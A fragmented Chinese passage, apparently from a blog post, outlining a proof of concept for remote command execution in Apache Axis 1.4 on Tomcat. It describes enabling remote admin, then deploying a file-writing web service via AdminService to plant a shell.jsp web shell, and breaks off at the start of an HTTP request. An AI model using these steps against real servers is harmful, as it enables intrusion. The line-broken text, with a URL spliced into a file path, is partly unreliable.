
xml
执行java源码
Axis
<=
1.4
远程命令执行(
RCE)
POC
环境准备
首先下载
Axis1.4
本仓库有一个打包好的
axis直接解压到tomcat
webapps下即可
,web-inf/web.xml
去掉AdminServlet注释
然后,server-config.wsdd文件开启enableRemoteAdmin
(本地环境可以不管)
本人部署在tomcat8上
利用
第一步:
通过services/AdminService
服务
部署一个webservice
,webservice开启一个写文件服务。这里我们要写入的文件名是https://blog.csdn.net/qq_43697234/article/webapps/ROOT/shell.jsp,服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,也就是tomcat默认根目录。
POST
/
axis/services/AdminService
HTTP/1.1
Host:
localhost:8080
Connection:
close
Accept: